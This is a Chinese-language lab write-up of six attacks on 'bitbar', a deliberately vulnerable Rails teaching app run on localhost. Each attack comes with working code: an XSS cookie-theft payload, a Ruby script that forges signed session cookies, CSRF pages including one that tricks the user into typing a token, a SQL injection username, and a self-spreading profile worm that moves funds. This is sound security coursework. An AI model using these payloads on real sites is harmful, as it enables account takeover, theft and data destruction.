bitbar 網站攻擊實驗


實驗環境

https://github.com/TouwaErioH/security/tree/master/web1

Windows10

Oracle VM VirtualBox

Ubuntu16.04 i386

安裝Ruby和rails,http://gorails.com/setup/ubuntu/16.04

下載實驗提供的project 2源碼

重定位到/bitbar目錄下,執行bundle install

開啟服務器 rails server)

可以在http://localhost:3000上訪問bitbar

Ruby 2.5.0

Rails 5.0.7.2

 

 

實驗步驟

參考:

https://www.w3school.com.cn/xml/xml_http.asp

Cookie:

https://blog.csdn.net/weixin_34183910/article/details/92205222

https://www.cnblogs.com/b0xiaoli/p/3935267.html

https://baike.baidu.com/item/cookie/1119?fr=aladdin

http://en.wikipedia.org/wiki/HTTP_cookie

http  cookie   browser

https://www.cnblogs.com/lancidie/p/8251187.html

存儲型XSS

https://blog.csdn.net/weixin_44720762/article/details/89736508

 

1. attack1 漏洞分析及攻擊原理

Attack  1Warn-up exercise: Cookie Theft

l 開始網址

http://localhost:3000/profile?username=

評分員將提前以user1的身份登錄bitbar,然后打開以上的開始網址

你的目標是偷取user1的會話cookie並且將cookie發送到

http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

你可以在以下網址上查看最近被偷取的cookie

http://localhost:3000/view_stolen_cookie

請將你的答案寫在warmup.txt

l 提示:嘗試添加一些隨機字符串到開始網址后,觀察這些隨機字符會如何影響網頁

 

原理:

打開開始網址:http://localhost:3000/profile?username=

原本功能應該是輸入文件名查看文件,測試 123,可見是 get 方法發送request

 

 

測試發現存在XSS漏洞,可以直接執行js代碼

測試方法:

<script>alert(/xss/)</script>

先輸了123,然后看url變化,直接顯示了username=123,直接輸了<script>alert(/xss/)</script>

然后就彈窗,然后看url發現代碼直接就顯示出來了,說明沒有過濾、html編碼等,就有xss漏洞了

 

 

Rails框架采用客戶端session而非服務端sessioncookie中已經存儲session信息。

題目說明user1已經登錄bitbar,打開目標網頁,故會話cookie此時已經存在user1瀏覽器,直接使用document.cookie屬性就可以獲取字符串格式的cookie.

 

題目說明獲取cookie后發送到

http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

這里也是get方法,?后為參數,字符串形式。

故目的url   ‘http://localhost:3000/steal_cookie?cookie=’+(document.cookie)

可以用XMLrequest發送請求,設置open methodGETurl為上述url即可

代碼如下

<script type="text/javascript">

var x = new XMLHttpRequest();

x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));

x.send()

</script>

 

將這段代碼注入到開始網址,

 

運行效果:

執行js代碼前

 

 

執行后:

 

 

也可以

Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie

效果一樣

 

題目的意思是user1已經登陸,然后打開了那個頁面,然后我們直接偷他的cookie(相當於user1走開了,坐他旁邊的人來操作一下)

若要做到竊取任意人的cookie,用存儲型XSS,將cookie的代碼上傳到服務器,這樣以后每個打開頁面的人的cookie都會被偷,但是這樣需要表單,數據庫......固定到網頁,或者其他用戶要調用的表單

 

2.attack2漏洞分析及攻擊原理

 

Attack 2: Session hijacking with Cookies

 

在本次試驗中,你將會獲得attacker的身份:用戶名attacker,密碼attacker。你的目的是偽裝成用戶user1登錄系統

 

你的答案是一個腳本。當這個腳本在JavaScript console中執行時,bitbar將誤認為你是以user1。請將這個腳本寫到a.sh

 

本次試驗中,你可以使用MechanizeMechanize是一個Ruby的庫函數, 它被用於與web應用實現自動化交互。在本次試驗中,你必須要保存服務器發送的所有的cookie值。

 

提示:網站是如何保存會話的?網站是如何驗證用戶當前是否登錄?網站是如何驗證cookie的真實性的?

 

 

 

網站使用cookie保存對話。登錄時附帶cookie說明當前用戶登錄。使用簽名驗證cookie真實性。

 

 

 

原理:

 

網站識別用戶使用的是cookie。要偽裝成user1登錄系統,需要偽造user1的cookie。

 

attack1不同之處是attack1中user1已經提前登陸,故可以直接document.cookie獲取user1的cookie。

 

要偽造cookie需要了解cookie的生成過程,rails的cookie生成過程如下:

 

 

加密過程:

Session data的登錄信息保存在warden.user.user.key

session = { "warden.user.user.key" => [[1],"secret"] }

序列化->Padding->加密AES-CBC->拼裝加密內容和IV(BASE64)->簽名HMAC-SHA1->拼裝簽名

解密過程:

分離簽名->驗證簽名->分離加密內容和IV->解密->UNPADDING->解析->完成

先使用attacker登陸bitbar,burp suite抓取信息,查看Bitbar的cookie結構

 

 

 

 

如上圖,--后為簽名,直接分離,前面部分進行其他解密步驟。

經過解密測試bitbar沒有采用AEC-CBC加密,故在加解密時可以跳過相關步驟

 

題目提示使用Mechanize進行交互,安裝:

 

 

使用:

模擬登陸:

實例化Mechanize對象

訪問登錄頁面

獲取表單

使用attacker attacker填寫表單,提交

服務端返回cookie

對返回到cookie解密:

分割簽名 --

BASE64解碼

反序列化

得到session信息

 

代碼

# 模擬登陸

agent = Mechanize.new #實例化Mechanize對象

url = "http://localhost:3000/login"  

page = agent.get(url)

form = page.forms.first

form['username'] = form['password'] = 'attacker' # 使用attacker的信息填寫表單

agent.submit form # 提交表單

 

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '') #返回cookie

cookie_value, cookie_signature = cookie.split('--')  #分離簽名

raw_session = Base64.decode64(cookie_value) #BASE64解碼

session = Marshal.load(raw_session) #反序列化

 

puts session #打印cookie

 

 

截止到此得到attacker的session 信息為

 

 

{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999","token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

可見登陸id以數字表明,可以判斷用戶按順序標記(已知用戶user1,user2,user3,attacker),那么user1應該是 logged_in_id為1.

 

id改為1,然后進行加密過程(序列化,BASE64編碼),即可得到偽造的user1的cookie的前半部分。

 

session['logged_in_id'] = 1

cookie_value = Base64.encode64(Marshal.dump(session)).split.join # 偽造前半部分

 

服務器還要驗證后半部分的簽名,由上面的理論分析可知簽名采用HMAC-SHA1。

偽造簽名需要獲取秘鑰,在本地源代碼得到簽名秘鑰

路徑如圖

 

 

利用密匙生產簽名,--鏈接,得到完整的user1的cookie。

 

cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)

cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"  #簽名並合並

puts "document.cookie='#{cookie_full}';" #打印完整的cookie

 

 

之后繼續利用Mechanize,利用偽造的cookie登錄bitbar,驗證是否偽裝為user1即可。

可以利用 http://localhost:3000/profile 驗證,如圖,頁面信息顯示當前登錄為attacker,使用偽造的cookie訪問該頁面,若顯示user1說明成功。可以直接打印返回的reponse.body,查看相關字段

 

 

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full} #使用偽造的cookie訪問

response = http.get(url,header)

puts response.body  #查看相關字段

 

a.sh見報告文件夾 answer/a.sh

 

運行:ruby a.sh

 

 

 

 

3.attack3漏洞分析及攻擊原理

Attack 3: Cross-site Request Forgery

你的答案是一個名字為b.htmlhtml文件。評分人將用瀏覽器打開b.html

在打開b.html前,評分人將提前使用user1的身份登錄到bitbar

打開b.html后,10bitbar將從user1的賬戶轉到attacker的賬戶,當轉賬結束時,頁面重定向到www.baidu.com

l 你可以在http://localhost:3000/view_users 查看用戶列表以及每個用戶擁有的bitbar

在攻擊的過程中,瀏覽器的網址中不能出現localhost:3000

 

原理:

我們不清楚轉賬的機制,所以先進行一次轉賬,抓取數據,查看相關內容,然后構造b.html。

題目提到評分人提前登陸user1,故瀏覽器已經存儲user1的cookie。

 

分析源代碼可以找到user的密碼

 

 

 

 

登陸user1,向attacker轉賬10,抓包

 

 

可知向/post_transfer接口POST數據  destination_username 信息即可。另外有編碼方式 Content-Type

需要注意附帶cookie

 

查看網頁源代碼,找到相關信息,構造表單

 

表單內容為目的地址(轉移接口),方式(POST),編碼方式(在抓取的數據包有)。

這里設定idgetpay,用於后續自動提交該表單

 

    <form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="getpay">

        <input type="hidden" name="destination_username" value="attacker">

        <input type="hidden" name="quantity" value=10>

    </form>

以上完成轉賬表單,要實現自動轉賬,需要設置,當b.html被打開即調用函數提交表單

可以使用window.load

 

 

最后添加重定向到baidu.com的代碼,延時0.2s轉到百度。

setTimeout(function(){window.location = "http://baidu.com";}, 0.2);

 

完整代碼b.html見報告文件夾 answer/b.html

測試

當前用戶信息

 

 

打開b.html

 

結果成功

 

 

注意某些版本firefox執行可能出現沒有跳轉(setTimeout沒有執行),參考http://www.gxlsystem.com/JavaScript-25470.html

解決。

 

4.attack4漏洞分析及攻擊原理

你的答案是一個或者兩個html頁面,命名為bp.htmlbp2.html(可選)。評分員會在瀏覽器中打開bp.html

在打開bp.html前,評分員已經用user1的身份登錄到系統中

評分員將於bp.html頁面進行交互,因此bp.html的回應要合理。也就是說,如果在頁面上有一個表格或者有一個按鈕,並且在頁面上有一些提示要求評分員進行一些操作,評分員將會依照這些提示執行。

在評分員與bp.html頁面進行交互后,10 bitbars將會從評分員的賬戶轉到attacker的賬戶。當這個轉賬操作執行完成后,頁面將重定向到www.baidu.com

你的攻擊必須要在於用戶互動的前提下執行(不要再一次進行一次CSRF攻擊)。特別的要注意的是,你的攻擊要針對的網址是http://localhost:3000/super_secure_transfer或者 http://localhost:3000/super_secure_post_transfer。這兩個網址做了一些CSRF攻擊的防護。在攻擊的過程中,你不能直接與http://localhost:3000/transfer或者http://localhost:3000/post_transfer進行交互。

l 在你的攻擊過程中,需要隱藏你的頁面正從http://localhost:3000上下載內容的事實。

 

原理:

查看相關網頁

 

 

 

 

 

也可以繼續測試,抓包,查看。可見和attack區別是多了一個隨機的Token,所以不能用attack的自動提交方法。

故需要欺騙用戶輸入token,也就是交互。這里欺騙方法可以是提示用戶輸入Token來驗證自己是否是robot

然后將獲取的token連同quantitydes_username提交即可。

 

設計一個欺騙網頁,顯示字符串“輸入token驗證”,當用戶輸入並點擊確定時調用自動提交表單的函數,完成轉賬,並跳轉到baidu

 

欺騙與按鈕設計。點擊confirm后會調用getpay函數

<p> input Super Secret Token to prove you are not a robot</p>

<input id="token" type="text" placeholder="Captcha">

<button onClick="getpay()">Confirm</button>

 

然后設計getpay()函數.

采用和attack不同的XMLHTTPRequest

功能為:使用value獲取輸入的token,和attacker拼接為發送的字符串。新建XMLHTTPRequest實例。然后設置網址,設置參數,使用cookie,發送。這樣就完成轉賬。

然后使用window.top.location跳轉到百度。

<script>

function getpay() {

  var request = new XMLHttpRequest(); //實例

var token = document.getElementById("token").value; //獲取token

  request.open("POST", "http://localhost:3000/super_secure_post_transfer", false); //設置請求但沒有發送

  request.setRequestHeader("Content-type","application/x-www-form-urlencoded");//設置參數

  request.withCredentials = true; //使用cookie

  try {

    request.send("quantity=10&destination_username=attacker&tokeninput=" + token); //發送

  } catch (err) {

    // Do nothing

  } finally {

    window.top.location = "http://baidu.com";   //最后跳轉到baidu

  }

}

</script>

 

完整代碼見報告文件夾 answer/bp.html

5.attack5漏洞分析及攻擊原理

l 你的答案是一個惡意的用戶名。這個惡意的用戶名允許你刪除一個你不具有訪問權限賬戶。

評分員將使用你提供的惡意用戶名新建一個賬戶。並在close”頁面上確認刪除該賬戶

作為結果,新建的賬戶以及user3的賬戶將會被刪除。其他的賬戶不變

l 你可以在http://localhost:3000/view_users頁面上查看所用的用戶

l 如果數據庫在測試攻擊的過程中被破壞了,你可以停止Rails然后使用rake db:reset命令是數據庫復原。

將你的最終答案寫在d.txt中

提示:SQL注入;WHERE子句

原理:

至體積一個用戶名就刪除user3,應該是拼接注冊的SQL語句導致刪除。

先分析網站源碼,得到注冊的邏輯。

將直接將用戶名寫到user.username字段。

再看刪除的邏輯,直接使用輸入的用戶名。都沒有做變換,故可以構造用戶名,直接寫入數據庫,然后刪除這個用戶,實際上連接成SQL語句刪除user3.

 

 

 

 

先隨便注冊一個用戶 123 123

在后台(終端的命令行)看到相關SQL語句

 

 

再刪除,看到相關語句

 

 

相當於語句

delete from users where username = ‘123’

注意是字符串,為注冊的用戶名加了兩個單引號’’。題目還要求同時刪除創建的用戶,

構造為

user3' or username LIKE '%or username LIKE%

這樣刪除語句變為

delete from users where username =’user3' or username LIKE '%or username LIKE%

這樣就同時刪除自身和user3.除非其他用戶名含有 or username LIKE,否則不會誤刪

效果:   注意使用英文單引號

注冊:

 

 

刪除自身

 

 

 

 

6.attack6漏洞分析及攻擊原理

你的答案是一個用戶的profile(簡況)。當其他用戶閱讀這個profile時,1bitbar將會從當前賬戶轉到attacker的賬戶,並且將當前用戶的profile修改成該profile。因此,如果attacker將他的profile修改成你的答案,以下情況會發生:

如果user1瀏覽了attackerprofile,那么1 bitbar將從user1的賬戶轉到attacker的賬戶,user1profile修改成你答案中的profile

之后,如果user2瀏覽了user1profile,那么1 bitbar將從user2的賬戶轉到attacker的賬戶,user2profile也被替換成你答案中profile

因此,你的profile worm將會很快擴散到全部的用戶賬戶中

將你的惡意的profile寫在d.txt中

評分過程:評分員將會將你提供的惡意profile復制到attackerprofile上。然后,評分者將使用多個賬戶瀏覽attackerprofile。檢查是否正常進行轉賬以及profile的復制

轉賬和profile復制的過程應該具有合理的速度。在這個過程中,評分員不會點擊任何地方。

在轉賬和profile的賦值過程中,瀏覽器的地址欄需要始終停留在http://localhost:3000/profile?username=x ,其中xprofile被瀏覽的用戶名。

l 不會出現當前賬戶沒有錢可以轉的情況

提示:MySpace vulnerability

 

原理:

實現兩個功能:轉賬+復制。轉賬功能可以利用attack3或attack4的思路,向接口發送數據即可。

對於復制文件並不清楚,需要測試。以及如何使profile生效需要測試。

 

轉賬的代碼參考attack3,4,不再贅述。

修改profile:

使用attacker登錄,設置自己的profile。Burp suite抓包查看信息。發現修改profile是利用了/set_profile 接口。

 

 

 

 

 

故要修改瀏覽者的profile,只需采用轉賬類似的方法,向/set_profile發送數據即可。XXX為待完成部分。

request = new XMLHttpRequest();  //對象

request.open("POST", "http://localhost:3000/set_profile", true);  //地址

request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //參數

request.withCredentials = true;   //cookie

request.send(XXX)));

 

查看attacker的profile,對應源碼。發現一個用戶的profile被一個<div id=profile>標簽包圍。故可以采用document.getElementById('profile').outerHTML來獲取當前被瀏覽用戶的profile的HTML內容。

 

 

若要做到更好可以在profile加一層包裝,如下,然后只獲取wrap標簽內的內容即可document.getElementById('wrap').outerHTML

<span id="wrap">

Profile

</span>

 

拼接”new_profile”即為上面XMLHTTPRequestsend的內容。注意escape()編碼,然后連接時使用contact而非+,因為+HTML中為空格。

request.send("new_profile=".concat(escape(document.getElementById('profile').outerHTML)));

 

最后是如何執行轉賬和復制的代碼。

網站源碼渲染用戶的profile代碼在views/profile.html.erb中調用了sanitize_profile函數,而這個函數定義在application_helper

 

 

santitize 函數,通過 tags 和 attributes設定了白名單,其中允許href,故可以使用JavaScript偽協議來XSS

https://ruby-china.org/topics/28760

 attributes 白名單不安全,根據現在的實現(#issues-27),如果設置了 attributes 參數,就會跳過一些屬性過濾,例如協議過濾:

sanitizie '<a href="javascript:alert()">click</a>'#=> <a>click</a>

sanitizie '<a href="javascript:alert()">click</a>', attributes: %w(href)#=> <a href="javascript:alert()">click</a>'

class屬性中利用eval就可以執行js代碼。

以上完成所有需要的代碼。

 

測試中發現,服務器會將發送到post_transfer的內容的&,變為&,這樣復制之后的代碼沒有轉賬功能

如圖

 

 

故需要對&做編碼,使用 String.fromCharCode()&編碼,於是轉賬部分向post_transfer發送內容變為

request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));

 

最后的profile完整代碼:

<span id="wrap">

<span id="bitbar_count" class="eval(document['getElementById']('myattack')['innerHTML'])"></span>

 

<span id="myattack">   //eval執行下面的函數

document.getElementById('myattack').style.display = "none"; //不在profile顯示

setTimeout(function(){

    var request = new XMLHttpRequest();  //實例

    request.open("POST", "http://localhost:3000/post_transfer");  //目的

    request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //編碼

    request.withCredentials = true; //cookie

    try {

        request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker")); //send內容,轉賬

    } catch (err) {

    //DO nothing

    } finally {

        request = new XMLHttpRequest();

        request.open("POST", "http://localhost:3000/set_profile", true);   //修改的api地址

        request.setRequestHeader("Content-type","application/x-www-form-urlencoded");

        request.withCredentials = true;

        request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML))); //修改瀏覽者profile

    }

 

}, 0);

10; //顯示一個虛假的profile

</span>

</span>

 

測試發現上述代碼在chrome成功轉賬並感染,但是在某些版本firefox只轉賬,推測是settimeout的問題。

 

解決:

方法1:直接在class執行所有的函數,不使用eval,也不適用settimeout

<img id="bitbar_count" class='var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("quantity=1&destination_username=attacker");
var request2 = new XMLHttpRequest();
request2.open("POST", "http://localhost:3000/set_profile");
var new_profile = document.getElementById("profile").innerHTML;
request2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request2.withCredentials = true;
request2.send("new_profile=" + encodeURIComponent(new_profile));'>

 

方法2:新建Formdata對象,使用append方法添加參數。.fetch函數是封裝好的js函數。

<p id="bitbar_count" class="

let transferdata=new FormData();

    transferdata.append('destination_username','attacker');

    transferdata.append('quantity','1');

    fetch('../post_transfer',{method:'POST',body:transferdata});

    let profiledata=new FormData();

    profiledata.append('new_profile',document.getElementById('profile').innerHTML);

    fetch('../set_profile',{method:'POST',body:profiledata});

"></p>

 

經過測試二者都可以完成目的功能。

效果:

設置attacker的profile

User1瀏覽attacker

瀏覽前

 

 

 

 

瀏覽后

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM